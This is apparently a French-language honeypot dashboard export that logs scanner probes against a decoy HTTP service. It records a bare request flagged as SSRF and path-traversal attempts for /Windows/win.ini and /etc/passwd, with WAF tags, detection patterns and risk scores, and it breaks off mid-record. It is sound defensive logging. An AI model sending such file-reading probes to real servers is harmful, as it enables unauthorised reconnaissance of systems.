30/07/2026 18:56:17 UTC
TCP
9207 · HTTP
SSRF interne
ssrf internal · via HTTP:9207 · (tentative d'exploit)
Élevée
Moyen · 51
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
MITRE
TA0001
TA0001
TA0002
Protocole
GET / UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
16
Recommandation
Investiguer
Tags
950326:rce-0
950470:nosqli-3
950734:sap-sapcontrol-path
net_web_probe
Cible HTTP
GET
/
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
9207
Chemin / cible
/
Pourquoi cette classification : Type « ssrf_internal » (signaux protocolaires) · confiance 54%
Confiance classification
64%
Corrélation +10
Risque capteur
Moyen
· 51
Confiance : Confiance 54 % — Motif catalogue confirmé · 3 tag(s) WAF
Protocole émulé
1 Signaux
CRS-920350
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
SSRF Any-address SSRF
Ligne de requête
GET / HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
sap-sapcontrol-path
Payload (extrait)
GET / HTTP/1.1
Host: ip-62-3-50-33.v4.isp.servpersosystems.net:9207
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac
Requête brute (extrait)
GET / HTTP/1.1 Host: ip-62-3-50-33.v4.isp.servpersosystems.net:9207 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "b6b0702a8fb6144179643638329a55a1879f5d46",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 216,
"payload_entropy": 5.399326288583574,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 9207,
"risk_waf": 72,
"risk_classification": 80,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 1.4,
"risk_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15
},
"risk_score": 51,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "a4f6c2cb0d225e2b44fb3b11770f31e4840cfeb9",
"event_fingerprint": "d0174ca8d300f211ec1774faa090f48208563fd3",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"confidence": 0.64,
"classification_confidence": 0.64,
"precision_score": 64,
"precision_signals": [
"CRS-920350"
],
"kb_rule_ids": [
"CRS-920350"
],
"matched_patterns": [
"pat-0324"
],
"matched_pattern_names": [
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0324"
],
"confidence_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 51,
"correlation_boost": 10
},
"named_classification_skipped": false,
"classification_parent": "ssrf_attack",
"service_name": "http",
"risk_confidence_factor": 54,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "04891bad203092bdc7e14aa45f68703f",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 9207,
"service": "http",
"service_name": "http",
"risk_score": 51
},
"payload_preview": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:9207\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:9207\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:9207\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"evidence": {
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:9207\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:9207\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "e1ec97f8fdbbb6261ea0bc1f91be800a3767af80",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 9207,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:9207\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"attack_vector": "ssrf internal \u00b7 via HTTP:9207 \u00b7 (tentative d'exploit)",
"target_port_label": "9207 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"classification_reason_label_fr": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 51\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 64 % \u2014 via HTTP \u2014 campagne \/24 (34.19.127.0\/24)",
"confidence_pct": 64,
"confidence_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 51,
"correlation_boost": 10
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 51,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 9207,
"protocol_emulated": true,
"tags_summary": [
"CRS-920350"
],
"tags_summary_labels_fr": [
"CRS-920350"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 9207,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "ssrf internal \u00b7 via HTTP:9207 \u00b7 (tentative d'exploit)",
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:9207\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"target_port_label": "9207 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 64 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +10 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "9207"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 15,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path",
"net_web_probe"
],
"asn_dc_heuristic": true
}
30/07/2026 18:56:15 UTC
TCP
9207 · HTTP
Traversal LFI
lfi path traversal · via HTTP:9207 · (tentative d'exploit) · → /Windows/win.ini
Élevée
Élevé · 66
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
MITRE
T1083
TA0001
TA0002
Protocole
GET /Windows/win.ini UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
27
Recommandation
Investiguer
Tags
950264:lfi-1
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/Windows/win.ini
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
9207
Chemin / cible
/Windows/win.ini
Pourquoi cette classification : Type « lfi_path_traversal » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Corrélation +10
Risque capteur
Élevé
· 66
Confiance : Confiance 100 % — Motif catalogue confirmé · 4 tag(s) WAF
Protocole émulé
1 Signaux
pat-0715
CRS-930100-sub
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 930150 boot ini
SSRF Any-address SSRF
Ligne de requête
GET /Windows/win.ini HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
lfi-1
rce-0
nosqli-3
Payload (extrait)
GET /Windows/win.ini HTTP/1.1
Host: 62.3.50.33:9207
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) A
Requête brute (extrait)
GET /Windows/win.ini HTTP/1.1 Host: 62.3.50.33:9207 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": "ini",
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "7be3a6ec131dfc19cf07072c92659622863ec3bc",
"http_target_hash": "b5d2bf3ef60b3bbf03ffbca44323fac1d6d4719a",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 200,
"payload_entropy": 5.3852455349678445,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 9207,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 1.8,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25
},
"risk_score": 66,
"tag_count": 5,
"anomaly_count": 0,
"campaign_key": "34e7c2cfe73ec51fd928e1253cc563c84a39ed59",
"event_fingerprint": "79b568f389a5e23c3d4e8f6fd6fb510f0f834db3",
"classification_reason": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 146,
"precision_signals": [
"pat-0715",
"CRS-930100-sub"
],
"kb_rule_ids": [
"pat-0715",
"CRS-930100-sub"
],
"matched_patterns": [
"pat-0715",
"pat-0324"
],
"matched_pattern_names": [
"CRS 930150 boot ini",
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0715",
"pat-0324"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25,
"risk_score": 66,
"correlation_boost": 10
},
"named_classification_skipped": false,
"classification_parent": "path_traversal",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "a52a7a9c7c2e6cc98e135697be34d378",
"path_pattern_hash": "4a136e1e1f4d3c20d824eefa8bc8174c"
},
"target_context": {
"dst_port": 9207,
"service": "http",
"service_name": "http",
"risk_score": 66
},
"payload_preview": "GET \/Windows\/win.ini HTTP\/1.1\r\nHost: 62.3.50.33:9207\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) A",
"method": "GET",
"path": "\/Windows\/win.ini",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950264:lfi-1",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-1",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/Windows\/win.ini HTTP\/1.1",
"request_sample": "GET \/Windows\/win.ini HTTP\/1.1\r\nHost: 62.3.50.33:9207\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/Windows\/win.ini HTTP\/1.1\r\nHost: 62.3.50.33:9207\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) A",
"evidence": {
"method": "GET",
"path": "\/Windows\/win.ini",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950264:lfi-1",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-1",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/Windows\/win.ini HTTP\/1.1",
"request_sample": "GET \/Windows\/win.ini HTTP\/1.1\r\nHost: 62.3.50.33:9207\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/Windows\/win.ini HTTP\/1.1\r\nHost: 62.3.50.33:9207\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) A",
"classification_reason": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1083"
],
"mitre": "T1083",
"threat_family": [
"path_traversal"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "dd3263e7ff797f74907ccfb0de3017057ac6c68e",
"protocol_details": {
"http_method": "GET",
"http_path": "\/Windows\/win.ini",
"request_line": "GET \/Windows\/win.ini HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 9207,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/Windows\/win.ini HTTP\/1.1\r\nHost: 62.3.50.33:9207\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) A",
"attack_vector": "lfi path traversal \u00b7 via HTTP:9207 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/Windows\/win.ini",
"target_port_label": "9207 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 66\/100 (\u00c9lev\u00e9) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP \u2014 campagne \/24 (34.19.127.0\/24)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25,
"risk_score": 66,
"correlation_boost": 10
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 66,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 9207,
"protocol_emulated": true,
"tags_summary": [
"pat-0715",
"CRS-930100-sub"
],
"tags_summary_labels_fr": [
"pat-0715",
"CRS-930100-sub"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1083",
"mitre_technique": "T1083",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "GET",
"http_path": "\/Windows\/win.ini",
"request_line": "GET \/Windows\/win.ini HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 9207,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "lfi path traversal \u00b7 via HTTP:9207 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/Windows\/win.ini",
"evidence_snippet": "GET \/Windows\/win.ini HTTP\/1.1\r\nHost: 62.3.50.33:9207\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) A",
"target_port_label": "9207 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +10 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "9207"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 15,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950264:lfi-1",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"net_web_probe"
],
"asn_dc_heuristic": true
}
30/07/2026 18:56:14 UTC
TCP
9207 · HTTP
Traversal LFI
lfi path traversal · via HTTP:9207 · (tentative d'exploit) · → /etc/passwd
Élevée
Élevé · 66
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
MITRE
T1083
TA0001
TA0002
Protocole
GET /etc/passwd UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
27
Recommandation
Investiguer
Tags
950264:lfi-1
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/etc/passwd
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
9207
Chemin / cible
/etc/passwd
Pourquoi cette classification : Sonde fichier sensible / config · confiance 100%
Confiance classification
100%
Corrélation +10
Risque capteur
Élevé
· 66
Confiance : Confiance 100 % — Motif catalogue confirmé · 4 tag(s) WAF
Protocole émulé
1 Signaux
MITRE-T1083
pat-0716
pat-0802
pat-0137
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 930160 etc passwd
MITRE T1083 file enum
SSRF Any-address SSRF
LFI path /etc/passwd
Ligne de requête
GET /etc/passwd HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
lfi-1
rce-0
nosqli-3
Payload (extrait)
GET /etc/passwd HTTP/1.1
Host: 62.3.50.33:9207
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleW
Requête brute (extrait)
GET /etc/passwd HTTP/1.1 Host: 62.3.50.33:9207 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "7be3a6ec131dfc19cf07072c92659622863ec3bc",
"http_target_hash": "b5cc3f676d00dd320d85ef41a5209fa0a99891ea",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 195,
"payload_entropy": 5.377588544761588,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 9207,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 2.1,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 66,
"tag_count": 6,
"anomaly_count": 0,
"campaign_key": "988474de99efeb8034500641eceb4951cea61664",
"event_fingerprint": "0e3324fa3c3bc50c1984ea6299fd9fc6587c56a6",
"classification_reason": "Sonde fichier sensible \/ config \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 344,
"precision_signals": [
"MITRE-T1083",
"pat-0716",
"pat-0802",
"pat-0137",
"CRS-930100-sub"
],
"kb_rule_ids": [
"MITRE-T1083",
"pat-0716",
"pat-0802",
"pat-0137",
"CRS-930100-sub"
],
"matched_patterns": [
"pat-0716",
"pat-0802",
"pat-0324",
"pat-0137"
],
"matched_pattern_names": [
"CRS 930160 etc passwd",
"MITRE T1083 file enum",
"SSRF Any-address SSRF",
"LFI path \/etc\/passwd"
],
"pattern_ids": [
"pat-0716",
"pat-0802",
"pat-0324",
"pat-0137"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 66,
"correlation_boost": 10
},
"named_classification_skipped": false,
"classification_parent": "path_traversal",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "af66e7075f53100e16e224607d9039be",
"path_pattern_hash": "74acf31844532670be412c65b8251ee5"
},
"target_context": {
"dst_port": 9207,
"service": "http",
"service_name": "http",
"risk_score": 66
},
"payload_preview": "GET \/etc\/passwd HTTP\/1.1\r\nHost: 62.3.50.33:9207\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleW",
"method": "GET",
"path": "\/etc\/passwd",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950264:lfi-1",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-1",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/etc\/passwd HTTP\/1.1",
